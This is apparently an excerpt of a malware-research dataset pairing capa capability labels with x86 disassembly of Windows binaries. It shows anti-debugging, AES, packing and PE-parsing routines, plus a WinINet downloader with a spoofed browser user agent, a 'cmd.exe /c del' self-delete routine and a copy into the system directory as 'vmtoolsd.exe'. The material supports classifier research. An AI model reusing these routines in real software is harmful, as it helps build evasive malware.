joyce8/EMBER2024-capa huggingface dataset:
Function at 0x8b109b
Capabilities:
Execute anti-debugging instructions

Disassembly:
push word [esp + 3]
jle 0x8b10ba
lea esp, [esp + 1]
mov byte [esp], bl
jmp 0x8b10d8

Function at 0x8b1121
Capabilities:
Execute anti-debugging instructions

Disassembly:
lea esp, [esp + 3]
lea eax, [eax + 0x14]
call fcn.008b1140
xor eax, 0xa35031a1
arpl word [eax - 0x5d], sp
fidiv dword [reloc.WINMM.dll_waveOutUnprepareHeader]
lea esp, [esp + 1]
call fcn.008b1121

Function at 0x8b1140
Capabilities:
Execute anti-debugging instructions

Disassembly:
mov word [esp], dx
pop word [esp]
jmp 0x8b117e
lea esp, [esp + 1]
lea esp, [esp + 1]
xchg dword [esp + 4], eax
push edx
call fcn.008b115e

Function at 0x8d1e7b
Capabilities:
Encrypt data using aes

Disassembly:
shl edx, 8
stc
xchg edi, ebx
jmp 0x8d1e84
movzx esi, byte [eax + 0xb]
lea ebx, [ecx + edx]
jmp 0x8d1e65
xor edx, esi
mov bp, word [esp]
jmp 0x8d1ee9
mov di, bp
setle bl
sub esp, 0x16
lea esp, [esp + 2]
jmp 0x8d1f0a
mov edi, eax
add edi, 0xc
movzx edx, byte [edi]
pop edi
mov si, 0xe374
jmp 0x8d1eb0
mov dword [ecx + 8], edx
mov ebx, 0x3211866
push edi
jmp 0x8d1ec6
shl edx, 8
jmp 0x8d1f60
movzx esi, byte [eax + 0xd]
jmp 0x8d1ef4
shl edx, 8
xor edx, esi
shl edx, 8
jmp 0x8d1f44
xor edx, eax
mov dword [ecx + 0xc], edx
mov eax, edx
jmp 0x8d1fc9
xor edx, esi
movzx esi, byte [eax + 0xe]
movzx eax, byte [eax + 0xf]
jmp 0x8d1f36
neg bl
jmp 0x8d1fab
pushal
bswap ebx
mov ah, byte [esp]
neg ecx
mov dword [esp], edx
popal
jmp 0x8d1f6c
mov eax, dword [eax*4 + reloc.WINMM.dll_waveOutUnprepareHeader]
lea esp, [esp + 0x40]
xor eax, 0x1000000
jmp 0x8d1f82
shr edi, 8
and edi, esi
cmc
jmp 0x8d1feb
mov ebx, dword [ecx + 4]
call fcn.008d1fd5
int3
shr eax, 0x10
mov esi, 0xff
and eax, esi
jmp 0x8d1f99
mov edi, dword [edi*4 + reloc.WINMM.dll_waveOutUnprepareHeader]
mov bx, sp
and edi, 0xff0000
mov bl, al
mov bh, dh
jmp 0x8d1fb3
Function at 0x8d2339
Capabilities:
Encrypt data using aes

Disassembly:
mov edi, dword [esp]
jmp 0x8d231f
xor ecx, edi
bswap edi
and edx, ebp
mov edi, dword [esp]
mov di, cx
jmp 0x8d22fb
xor ecx, edx
pushal
pushal
lea esp, [esp + 0x50]
jmp 0x8d2359
movzx edi, byte [edi*4 + 0x8aa670]
jmp 0x8d2311
lea edi, [eax + 0x10]
not edx
lea edx, reloc.WINMM.dll_waveOutUnprepareHeader
jmp 0x8d23af
xor ecx, dword [ebx]
sub edi, 0xca124813
mov edx, ebp
bt edx, ebp
jmp 0x8d2343
mov dword [edi], ecx
lea edx, reloc.WINMM.dll_waveOutUnprepareHeader
push sp
xchg word [esp], dx
lea esp, [esp + 2]
jmp 0x8d23cf
xor ecx, dword [eax]
add ebx, 4
mov dx, cx
jmp 0x8d2388
push dword [esp + 2]
push bx
lea esp, [esp + 2]
lea esp, [esp + 0x24]
popal
jmp 0x8d23d8
push ecx
pushal
mov dword [esp + 0x18], eax
pushal
jmp 0x8d23b9
add ecx, 4
mov edx, dword [ecx]
pop ecx
sub esp, 9
push dword [esp + 2]
jmp 0x8d25e8
mov dword [eax + 0x14], edx
mov cx, word [esp]
lea ecx, reloc.WINMM.dll_waveOutUnprepareHeader
mov ecx, eax
jmp 0x8d243a
mov dh, byte [esp]
xchg dl, dh
mov dword [eax + 0x18], ecx
push ebp
jmp 0x8d241f
mov ebp, eax
add ebp, 0xc
mov edx, dword [ebp]
pop ebp
jmp 0x8d245a
sbb cl, al
mov ecx, dword [eax + 8]
stc
xor ecx, edx
jmp 0x8d2410
cmp ebx, 0x8abe98
jmp 0x8d2525
xor edx, ecx
mov dword [eax + 0x1c], edx
lea esp, [esp + 0xc]
jmp 0x8d2444
mov bx, 0x56f7
mov bp, si
pop eax
pop edi
call fcn.008d2465
jne 0x89f365
mov al, bl
mov al, 0xe9
push 0xa
jmp 0x8d2490
mov dword [esp + 2], ebx
lea esp, [esp + 1]
xor edx, ecx
bswap ecx
mov cx, 0x1b89
jmp 0x8d23ea
Function at 0x8d2898
Capabilities:
Encrypt data using aes
Reference aes constants

Disassembly:
and edi, ecx
clc
push ebp
jmp 0x8d28a2
mov ebp, edi
lea ebp, [ebp*4]
lea ebp, reloc.WINMM.dll_waveOutUnprepareHeader
mov edi, dword [ebp]
jmp 0x8d28dd
pop ebp
and ebx, ecx
lea esp, [esp + 0x20]
xor edi, dword [ebx*4 + reloc.WINMM.dll_waveOutUnprepareHeader]
jmp 0x8d28c7

Function at 0x8d2abb
Capabilities:
Encrypt data using aes
Reference aes constants

Disassembly:
pop edi
mov bl, ch
bswap ebx
jmp 0x8d2c9f
call fcn.008d2735
lea esp, [esp + 3]
jmp 0x8d2ae5
and edx, ecx
sub esp, 9
add esp, 7
mov word [esp], dx
lea esp, [esp + 2]
jmp 0x8d2b3e
lea ebx, reloc.WINMM.dll_waveOutUnprepareHeader
mov edx, dword [ebx]
pop ebx
cmc
jmp 0x8d2b7b
push ebx
mov ebx, edx
lea ebx, [ebx*4]
jmp 0x8d2b28
push ebp
jmp 0x8d2ba5
mov edx, dword [esp]
mov edx, dword [esp]
jmp 0x8d2b4a
and edx, ecx
cmc
lea esp, [esp + 0x20]
xor edi, dword [edx*4 + reloc.WINMM.dll_waveOutUnprepareHeader]
jmp 0x8d2b60
clc
push eax
mov eax, esi
jmp 0x8d2be6
mov ebp, esi
add ebp, 0xc
mov edx, dword [ebp]
pop ebp
jmp 0x8d2b8b
shr edi, 0x18
jmp 0x8d2c0b
mov edi, edx
sub esp, 0x18
mov dword [esp + 3], ebp
pop dword [esp + 8]
jmp 0x8d2bb0
add eax, 8
mov dword [eax], edi
pop eax
mov ebx, dword [ebx*4 + reloc.WINMM.dll_waveOutUnprepareHeader]
jmp 0x8d2bc6
lea esp, [esp + 1]
jmp 0x8d2c1c
mov edi, dword [edi*4 + reloc.WINMM.dll_waveOutUnprepareHeader]
and edi, ecx
sub esp, 0x1d
sub esp, 0
jmp 0x8d2bf5
mov edi, dword [edi*4 + reloc.WINMM.dll_waveOutUnprepareHeader]
and ebx, ecx
lea esp, [esp + 0x30]
jmp 0x8d2c2f
xor edi, dword [ebx*4 + reloc.WINMM.dll_waveOutUnprepareHeader]
jmp 0x8d2ff8
jne 0x89fa3c
je 0x89f9f9
retf
xor edi, dword [edx*4 + reloc.WINMM.dll_waveOutUnprepareHeader]
dec dword [ebp - 4]
mov dword [esi + 0xc], edi
jmp 0x8d2c45
and ebx, ecx
xor edi, dword [ebx*4 + reloc.WINMM.dll_waveOutUnprepareHeader]
and edx, ecx
jmp 0x8d2c5b
leave
ret
pushal
lea esp, [esp + 0x20]
pop esi
pop ebx
jmp 0x8d2c89
lea esi, [esi*4]
lea esi, reloc.WINMM.dll_waveOutUnprepareHeader
mov edx, dword [esi]
pop esi
jmp 0x8d2c7c
and edx, ecx
push esi
mov esi, edx
jmp 0x8d2cd0
movzx ebx, byte [edi]
pop edi
clc
mov ebx, dword [ebx*4 + reloc.WINMM.dll_waveOutUnprepareHeader]
stc
jmp 0x8d2d2a
push edi
mov edi, esi
add edi, 0xe
jmp 0x8d2e22
Function at 0xdda38f
Capabilities:
Execute anti-debugging instructions

Disassembly:
not dx
jmp 0xdda398
mov word [esp + 0x17], si
bsf si, di
push bp
lea edx, [edx*4]
jmp 0xdda3d9
mov ecx, ebx
neg bl
xchg word [esp + 0x1f], si
setge cl
push eax
setne bl
jmp 0xdda403
and si, ax
rdtsc
mov dx, ax
mov al, 0x82
bsf di, ax
mov di, 0x8033
jmp 0xdda3c3
lea edx, [edx*4]
std
inc cl
btr ecx, esp
setp cl
jmp 0xdda41d
sub esp, 0x1a
lea esp, [esp + 0x44]
bsf esi, edx
mov esi, 0x91d780c9
lea ebx, [eax*4]
neg ebx
jmp 0xdda3ed
shr ax, 7
dec dl
lea ecx, [edx*4]
xchg bl, dh
lea eax, [ebp - 0x49]
mov edx, dword [esp]
jmp 0xdda45f
inc ch
mov dh, 0xb3
mov esi, edi
rdtsc
lea eax, [ecx + ebp]
mov ax, word [esp]
jmp 0xdda447

Function at 0xdda706
Capabilities:
Execute anti-debugging instructions

Disassembly:
xchg dword [esp], eax
not cx
pushfd
inc ecx
stc
setae al
jmp 0xdda72c
dec edx
cpuid
pop word [esp + 1]
xchg ah, ch
xchg byte [esp + 2], bl
jmp 0xdda6ee
push dword [esp + 4]
lea edi, [eax*4]
sub esp, 0x18
jmp 0xdda780
cpuid
ror bp, 1
xchg word [esp + 3], ax
rol si, 0
cld
bt cx, bp
jmp 0xdda716
rcl ecx, 0x10
lea esi, [esp + ebp]
pop edi
rdtsc
bsr dx, sp
mov dword [esp + 0x1b], ecx
jmp 0xdda759

Function at 0xddf42a
Capabilities:
Parse pe header

Disassembly:
xchg word [esp + 7], bp
jmp 0xddff1a
and dword [ebp + reloc.WINMM.dll_waveOutUnprepareHeader], ecx
and al, 0x20
xchg dword [edx - 0x2b], esi
loopne 0xddf6b0
out 0x82, eax
jno 0xddf5cb
invalid
cmpsd dword [esi], dword es:[edi]
sub eax, 0x41c008dc
sal dword [eax + reloc.WINMM.dll_waveOutUnprepareHeader], 1
add byte [edx], 0x90
nop
test dword [edx], reloc.WINMM.dll_waveOutUnprepareHeader
xor al, cl
sub eax, 0x89ee78fe
js 0xddf634
rcl byte [ebp - 0x3b]
lodsb al, byte [esi]
pop edi
mov ebp, 0x29def744
dec eax
bswap ebp
mov ebp, dword [esp]
cmc
cmc
call fcn.00ddf53e
in eax, dx
outsd dx, dword [esi]
call [edx - 0x7ffa6697]
push ss
jno 0xddf645
imul esi, dword [ebp + reloc.WINMM.dll_waveOutUnprepareHeader], 0x9c0e85a7
sti
push ss
mov cl, 0x15
mov dword [reloc.WINMM.dll_waveOutUnprepareHeader], eax
insd dword es:[edi], dx
in al, 0x7a
sbb eax, 0x119d03ec
and eax, 0x921dff13
add byte [edi - 0x6e], ah
jo 0xddf688
pop ss
xchg edx, esp
adc esp, esi
add eax, 0x88791e88
imul esi, dword [ebp + reloc.WINMM.dll_waveOutUnprepareHeader], 0xffffffcf
lds edx, [esi - 0x3c]
mov dword [reloc.WINMM.dll_waveOutUnprepareHeader], eax
pop ebx
int 0x6c
std
insb byte es:[edi], dx
loop 0xddf691
das
iretd
je 0xddf693
in eax, dx
jns 0xddf6fa
mov byte [ebx - 0x34], bh
int 0x5a
enter 0x5aaf, 0xfffffffffffffff3
sub eax, 0xb94a2fbf
jae 0xddf726
nop
push es
popal
nop
cmp dword [ebp + reloc.WINMM.dll_waveOutUnprepareHeader], edx
movsd dword es:[edi], dword [esi]
xchg ebp, eax
or eax, 0xa517e49d
add eax, 0xa66b0c9e
pcmpeqw mm6, mm3
arpl word [esi], ax
cmc
inc esp
insd dword es:[edi], dx
hlt
bts bp, dx
mov ebp, eax
bsr ebp, edi
mov ebp, 0x464be275
mov ebp, 0xa592a082
push si
jmp 0xddf6ae
mov ebp, eax
mov ebp, ecx
lea ebp, [esp + ebx]
push dword [esp]
not bp
bts bp, bp
jmp 0xddf830
Function at 0xddf473
Capabilities:
Parse pe header

Disassembly:
jmp 0xddf4b6
popfd
jmp 0xddf4fb
mov ebp, edx
std
xchg word [esp + 1], bp
adc bp, si
mov ebp, dword [esp + 0x10]
lea esp, [esp + 0x14]
jmp 0xddf4a0
lea esp, [esp + 4]
call 0xddf4de

Function at 0xddf4dc
Capabilities:
Parse pe header

Disassembly:
mov dword [esp + 1], edx
inc ebp
lea esp, [esp + 0xa]
mov ebp, esi
bts ebp, eax
lea esp, [esp + 3]
call fcn.00ddf473
jmp 0xddf489

Function at 0xddf504
Capabilities:
Parse pe header

Disassembly:
call fcn.00dd9d10
push eax
jmp 0xdd9d0b
movzx ebx, word [eax + 0x3c]
jmp 0xddf646
jmp 0xddf5cc
cmp word [eax], 0x5a4d
jmp 0xddf618
lea esp, [esp]
mov dword [esp + 0x20], ebx
call fcn.00ddf577
loop 0xddf64b
pop ss
loop 0xddf5ea
movsb byte es:[edi], byte [esi]
daa
mov bh, 0xd2
and esi, eax
rcr byte [eax - 0x32], cl
test eax, 0xb53cba58
cmp al, 0xb5
and eax, 0x2e1abf4c
cmpsb byte [esi], byte es:[edi]
xor al, 0x53
scasb al, byte es:[edi]
jp 0xddf653
fisttp dword [ebx + 0x2e]
fnsave dword [edx + esi*4]
cmp al, 0xd2
mov ch, 0x44
stosb byte es:[edi], al
test byte [ecx], cl
cdq
clc
or ebp, ebx
stosb byte es:[edi], al
cmp byte [edi - 0x56], bl
inc ecx
inc esp
iretd
je 0xddf2ae
sub eax, 0x10000
jmp 0xddf5b2
add ebx, eax
cmp word [ebx], 0x4550
push eax
inc ebp
je 0xddaac2
jne 0xddf61e
fisttp dword [edx + eax*8 - 0x5b]
push esp
std
dec edi
invalid

Function at 0xddf53e
Capabilities:
Parse pe header

Disassembly:
call fcn.00ddf0a2
not bp
add esp, 1
call fcn.00ddf4dc
mov eax, dword fs:[0x30]
jmp 0xddf59e
mov eax, dword [eax + 8]
jmp 0xddf5a8
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0x1c]
mov eax, dword [eax]
jmp 0xddf588
push eax
jmp 0xddf09d

Function at 0xddf577
Capabilities:
Packed with generic packer
Parse pe header

Disassembly:
pushal
mov word [esp + 0x1d], si
mov dword [esp + 0x34], edi
lea esp, [esp + 0x34]
jmp 0xddf549
lea esp, [esp]
mov dword [esp + 0x20], esp
mov dword [esp + 0x1c], ebp
mov dword [esp + 0x18], esi
jmp 0xddf55f
Function at 0x401091
Capabilities:
Get common file path
Terminate process

Disassembly:
push 0x8000
call dword [sym.imp.MSVCR110.dll___iob_func]
push eax
call dword [sym.imp.MSVCR110.dll__fileno]
pop ecx
push eax
call dword [sym.imp.MSVCR110.dll__setmode]
lea eax, [esp + 0x10]
push eax
lea eax, [esp + 0x10]
push eax
call dword [sym.imp.libav.dll_Ordinal_44286]
mov edx, dword [esp + 0x18]
mov ecx, dword [esp + 0x14]
add esp, 0x10
jmp fcn.004010cb
Function at 0x40605d
Capabilities:
Terminate process

Disassembly:
push edi
mov edi, ecx
test edi, edi
je 0x406142
push edi
call dword [sym.imp.libav.dll_Ordinal_44297]
pop ecx
test eax, eax
je 0x40607c
push 0xffffffffffffffff
call dword [sym.imp.MSVCR110.dll_exit]
cmp dword [edi + 0x18], 1
je 0x406094
push edi
call dword [sym.imp.libav.dll_Ordinal_44298]
pop ecx
test eax, eax
je 0x406142
jmp 0x406074
cmp dword [edi + 0x24], 0
mov dword [edi + 0x18], 2
jle 0x4060ba
lea eax, [edi + 4]
push eax
call dword [sym.imp.libav.dll_Ordinal_44306]
pop ecx
test eax, eax
je 0x4060ba
push edi
call dword [sym.imp.libav.dll_Ordinal_44298]
pop ecx
pop edi
ret
cmp dword [edi + 0x24], 0
push esi
jle 0x4060d7
lea esi, [edi + 4]
push edi
push esi
call dword [sym.imp.libav.dll_Ordinal_44311]
pop ecx
pop ecx
test eax, eax
jne 0x4060f2
cmp dword [edi + 0x24], eax
jg 0x4060c4
mov ecx, edi
call fcn.00405be4
push edi
call dword [sym.imp.libav.dll_Ordinal_44298]
pop ecx
test eax, eax
je 0x4060fc
push 0xffffffffffffffff
call dword [sym.imp.MSVCR110.dll_exit]
push edi
call dword [sym.imp.libav.dll_Ordinal_44298]
pop ecx
jmp 0x406141
push edi
call dword [sym.imp.libav.dll_Ordinal_44299]
mov esi, dword [sym.imp.libav.dll_Ordinal_44308]
lea eax, [edi + 0xc]
push eax
call esi
lea eax, [edi + 0x10]
push eax
call esi
lea eax, [edi + 0x14]
push eax
call esi
lea eax, [edi + 4]
push eax
call esi
lea eax, [edi + 8]
push eax
call dword [sym.imp.libav.dll_Ordinal_44314]
push dword [edi + 0x40]
mov esi, dword [sym.imp.MSVCR110.dll_free]
call esi
push dword [edi + 0x3c]
call esi
push edi
call esi
add esp, 0x24
pop esi
pop edi
ret
Function at 0x401280
Capabilities:
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
mov dword [ebp - 8], 0
mov dword [ebp - 4], 0
mov dword [ebp - 0xc], 0
mov eax, dword [ebp + 8]
push eax
call fcn.00402920
add esp, 4
xor edx, edx
mov ecx, 3
div ecx
test edx, edx
je 0x4012bb
push 0
call fcn.00402841
mov edx, dword [ebp + 8]
add edx, dword [ebp - 8]
movsx eax, byte [edx]
test eax, eax
je 0x401319
mov ecx, dword [ebp + 8]
add ecx, dword [ebp - 8]
movsx edx, byte [ecx]
sub edx, 0x30
imul edx, edx, 0x64
mov eax, dword [ebp + 8]
add eax, dword [ebp - 8]
movsx ecx, byte [eax + 1]
sub ecx, 0x30
imul ecx, ecx, 0xa
add edx, ecx
mov eax, dword [ebp + 8]
add eax, dword [ebp - 8]
movsx ecx, byte [eax + 2]
lea edx, [edx + ecx - 0x30]
mov dword [ebp - 4], edx
mov eax, dword [ebp + 0xc]
add eax, dword [ebp - 0xc]
mov cl, byte [ebp - 4]
mov byte [eax], cl
mov edx, dword [ebp - 0xc]
add edx, 1
mov dword [ebp - 0xc], edx
mov eax, dword [ebp - 8]
add eax, 3
mov dword [ebp - 8], eax
jmp 0x4012bb
mov ecx, dword [ebp + 0xc]
add ecx, dword [ebp - 0xc]
mov byte [ecx], 0
mov esp, ebp
pop ebp
ret

Function at 0x401326
Capabilities:
Create http request

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x110
push edi
mov dword [ebp - 4], 0
mov byte [ebp - 0x108], 0
mov ecx, 0x40
xor eax, eax
lea edi, [ebp - 0x107]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
push 0
push 0
push 0
push 0
push 0x407518
call dword [sym.imp.WININET.dll_InternetOpenA]
mov dword [ebp - 0x110], eax
push 0
push 0x80000000
push 0
push 0
mov eax, dword [ebp + 8]
push eax
mov ecx, dword [ebp - 0x110]
push ecx
call dword [0x409cd4]
mov dword [ebp - 0x10c], eax
cmp dword [ebp - 0x10c], 0
je 0x40140f
push 0
lea edx, [ebp - 4]
push edx
push 0
push 0x13
mov eax, dword [ebp - 0x10c]
push eax
call dword [sym.imp.WININET.dll_HttpQueryInfoA]
push 0
lea ecx, [ebp - 4]
push ecx
lea edx, [ebp - 0x108]
push edx
push 0x13
mov eax, dword [ebp - 0x10c]
push eax
call dword [0x409cec]
test eax, eax
je 0x4013e7
push 0x407564
lea ecx, [ebp - 0x108]
push ecx
call fcn.004029a0
add esp, 8
test eax, eax
je 0x4013e7
xor eax, eax
jmp 0x401411
lea edx, [ebp - 4]
push edx
mov eax, dword [ebp + 0x10]
push eax
mov ecx, dword [ebp + 0xc]
push ecx
mov edx, dword [ebp - 0x10c]
push edx
call dword [0x409e10]
test eax, eax
jne 0x401408
xor eax, eax
jmp 0x401411
mov eax, 1
jmp 0x401411
xor eax, eax
pop edi
mov esp, ebp
pop ebp
ret
Function at 0x401416
Capabilities:
Create http request
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x64
push edi
mov byte [ebp - 0x4c], 0
mov ecx, 7
xor eax, eax
lea edi, [ebp - 0x4b]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov dword [ebp - 4], 0
mov dword [ebp - 0x2c], 0
mov byte [ebp - 0x58], 0
mov byte [ebp - 0x28], 0
mov ecx, 7
xor eax, eax
lea edi, [ebp - 0x27]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov dword [ebp - 0x5c], 0
push 0
push 0
push 0
push 0
push str.Mozilla_4.0__compatible__MSIE_6.0__Windows_NT_5.1__SV1__.NET_CLR_1.1.4322_
call dword [sym.imp.WININET.dll_InternetOpenA]
mov dword [ebp - 0x50], eax
push 0
push 0x80000000
push 0
push 0
mov eax, dword [ebp + 8]
push eax
mov ecx, dword [ebp - 0x50]
push ecx
call dword [0x409cd4]
mov dword [ebp - 0x54], eax
push 0
lea edx, [ebp - 4]
push edx
lea eax, [ebp - 0x4c]
push eax
push 0x13
mov ecx, dword [ebp - 0x54]
push ecx
call dword [0x409cec]
push 0
push 1
push 0x4075b4
call dword [0x409d08]
mov dword [ebp - 8], eax
push 0
lea edx, [ebp - 4]
push edx
lea eax, [ebp - 0x4c]
push eax
push 0x13
mov ecx, dword [ebp - 0x54]
push ecx
call dword [0x409cec]
test eax, eax
je 0x4015da
push 3
push 0x4075c8
lea edx, [ebp - 0x4c]
push edx
call fcn.00402ac0
add esp, 0xc
test eax, eax
je 0x4014f0
jmp 0x4015f5
push 0
lea eax, [ebp - 4]
push eax
lea ecx, [ebp - 0x28]
push ecx
push 5
mov edx, dword [ebp - 0x54]
push edx
call dword [0x409cec]
push 0
lea eax, [ebp - 4]
push eax
lea ecx, [ebp - 0x28]
push ecx
push 5
mov edx, dword [ebp - 0x54]
push edx
call dword [0x409cec]
test eax, eax
je 0x401531
lea eax, [ebp - 0x28]
push eax
call fcn.00402aaf
add esp, 4
mov dword [ebp - 0x5c], eax
jmp 0x401536
jmp 0x4015f5
push 0
push 0x80
push 2
push 0
push 1
push 0xc0000000
mov ecx, dword [ebp + 0xc]
push ecx
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov dword [ebp - 0x60], eax
cmp dword [ebp - 0x60], 0xffffffff
jne 0x401560
jmp 0x4015f5
mov edx, 1
test edx, edx
je 0x4015a6
lea eax, [ebp - 4]
push eax
push 1
lea ecx, [ebp - 0x58]
push ecx
mov edx, dword [ebp - 0x54]
push edx
call dword [0x409e10]
mov dword [ebp - 0x64], eax
cmp dword [ebp - 0x64], 0
je 0x40158c
cmp dword [ebp - 4], 0
jne 0x40158e
jmp 0x4015a6
push 0
lea eax, [ebp - 0x2c]
push eax
push 1
lea ecx, [ebp - 0x58]
push ecx
mov edx, dword [ebp - 0x60]
push edx
call dword [0x409cd8]
jmp 0x401560
mov eax, dword [ebp - 0x54]
push eax
call dword [0x409cdc]
mov ecx, dword [ebp - 0x50]
push ecx
call dword [0x409cdc]
mov edx, dword [ebp - 0x60]
push edx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push 0x64
call dword [sym.imp.KERNEL32.dll_Sleep]
push 5
mov eax, dword [ebp + 0xc]
push eax
call dword [0x409cf8]
jmp 0x4015f5
mov ecx, dword [ebp - 0x54]
push ecx
call dword [0x409cdc]
mov edx, dword [ebp - 0x50]
push edx
call dword [0x409cdc]
push 0
call fcn.00402841
pop edi
mov esp, ebp
pop ebp
ret
Function at 0x4015fa
Capabilities:
Create process on windows
Get common file path
Resume thread
Self delete
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x360
push edi
push 0x104
lea eax, [ebp - 0x104]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
test eax, eax
je 0x4017a5
push 0x104
lea ecx, [ebp - 0x104]
push ecx
lea edx, [ebp - 0x104]
push edx
call dword [sym.imp.KERNEL32.dll_GetShortPathNameA]
test eax, eax
je 0x4017a5
push 0x104
lea eax, [ebp - 0x30c]
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
push str.cmd.exe
lea ecx, [ebp - 0x30c]
push ecx
call fcn.00402b10
add esp, 8
push str.__c__del
lea edx, [ebp - 0x208]
push edx
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
lea eax, [ebp - 0x104]
push eax
lea ecx, [ebp - 0x208]
push ecx
call dword [sym.imp.KERNEL32.dll_lstrcatA]
push str.___nul
lea edx, [ebp - 0x208]
push edx
call dword [sym.imp.KERNEL32.dll_lstrcatA]
lea eax, [ebp - 0x208]
push eax
lea ecx, [ebp - 0x30c]
push ecx
call dword [sym.imp.KERNEL32.dll_lstrcatA]
mov dword [ebp - 0x360], 0
mov ecx, 0x10
xor eax, eax
lea edi, [ebp - 0x35c]
rep stosd dword es:[edi], eax
mov dword [ebp - 0x31c], 0
xor edx, edx
mov dword [ebp - 0x318], edx
mov dword [ebp - 0x314], edx
mov dword [ebp - 0x310], edx
mov dword [ebp - 0x360], 0x44
mov dword [ebp - 0x334], 1
mov word [ebp - 0x330], 0
push 0x100
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.KERNEL32.dll_SetPriorityClass]
push 0xf
call dword [sym.imp.KERNEL32.dll_GetCurrentThread]
push eax
call dword [sym.imp.KERNEL32.dll_SetThreadPriority]
lea eax, [ebp - 0x31c]
push eax
lea ecx, [ebp - 0x360]
push ecx
push 0
push 0
push 0xc
push 0
push 0
push 0
lea edx, [ebp - 0x30c]
push edx
push 0
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
test eax, eax
je 0x401787
push 0x40
mov eax, dword [ebp - 0x31c]
push eax
call dword [sym.imp.KERNEL32.dll_SetPriorityClass]
push 0xfffffffffffffff1
mov ecx, dword [ebp - 0x318]
push ecx
call dword [sym.imp.KERNEL32.dll_SetThreadPriority]
mov edx, dword [ebp - 0x318]
push edx
call dword [sym.imp.KERNEL32.dll_ResumeThread]
mov eax, 1
jmp 0x4017ac
push 0x20
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.KERNEL32.dll_SetPriorityClass]
push 0
call dword [sym.imp.KERNEL32.dll_GetCurrentThread]
push eax
call dword [sym.imp.KERNEL32.dll_SetThreadPriority]
push 0
call fcn.00402841
pop edi
mov esp, ebp
pop ebp
ret
Function at 0x4019b3
Capabilities:
Read file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
push 0
push 0x80
push 3
push 0
push 0
push 0x80000000
mov eax, dword [ebp + 8]
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov dword [ebp - 0xc], eax
cmp dword [ebp - 0xc], 0xffffffff
jne 0x4019e0
jmp 0x401a3a
push 2
push 0
push 0xffffffffffffffda
mov ecx, dword [ebp - 0xc]
push ecx
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [ebp - 8], eax
push 0
lea edx, [ebp - 4]
push edx
push 0x26
mov eax, dword [ebp + 0xc]
push eax
mov ecx, dword [ebp - 0xc]
push ecx
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
jne 0x401a0f
jmp 0x401a3a
mov edx, dword [ebp - 0xc]
push edx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [ebp + 0xc]
push eax
call fcn.00402920
add esp, 4
cmp eax, 0x26
je 0x401a3a
push 0x26
push 0
mov ecx, dword [ebp + 0xc]
push ecx
call fcn.00402ca0
add esp, 0xc
mov esp, ebp
pop ebp
ret

Function at 0x401a3e
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
push 0
push 0x80
push 3
push 0
push 0
push 0x10000000
mov eax, dword [ebp + 8]
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov dword [ebp - 0xc], eax
cmp dword [ebp - 0xc], 0xffffffff
jne 0x401a6d
xor eax, eax
jmp 0x401ac7
push 2
push 0
push 0
mov ecx, dword [ebp - 0xc]
push ecx
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0xffffffff
jne 0x401a8a
xor eax, eax
jmp 0x401ac7
push 0
lea edx, [ebp - 4]
push edx
mov eax, dword [ebp + 0xc]
push eax
call fcn.00402920
add esp, 4
push eax
mov ecx, dword [ebp + 0xc]
push ecx
mov edx, dword [ebp - 0xc]
push edx
call dword [sym.imp.KERNEL32.dll_WriteFile]
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0
jne 0x401ab8
xor eax, eax
jmp 0x401ac7
mov eax, dword [ebp - 0xc]
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, 1
mov esp, ebp
pop ebp
ret
Function at 0x401de3
Capabilities:
Copy file
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x208
push edi
mov byte [ebp - 0x208], 0
mov ecx, 0x40
xor eax, eax
lea edi, [ebp - 0x207]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov byte [ebp - 0x104], 0
mov ecx, 0x40
xor eax, eax
lea edi, [ebp - 0x103]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
push 0x104
lea eax, [ebp - 0x208]
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
push str._vmtoolsd.exe
lea ecx, [ebp - 0x208]
push ecx
call fcn.00402b10
add esp, 8
lea edx, [ebp - 0x104]
push edx
lea eax, [ebp - 0x208]
push eax
call fcn.004019b3
add esp, 8
push 0
lea ecx, [ebp - 0x208]
push ecx
push 0x409d0c
call dword [sym.imp.KERNEL32.dll_CopyFileA]
test eax, eax
jne 0x401e78
jmp 0x401efa
lea edx, [ebp - 0x104]
push edx
call fcn.00402920
add esp, 4
cmp eax, 0x26
jne 0x401e9b
lea eax, [ebp - 0x104]
push eax
call fcn.00401cca
add esp, 4
push 0x104
push 0
lea ecx, [ebp - 0x104]
push ecx
call fcn.00402ca0
add esp, 0xc
lea edx, [ebp - 0x104]
push edx
call fcn.00401817
add esp, 4
lea eax, [ebp - 0x104]
push eax
lea ecx, [ebp - 0x208]
push ecx
call fcn.00401a3e
add esp, 8
lea edx, [ebp - 0x104]
push edx
call fcn.00401acb
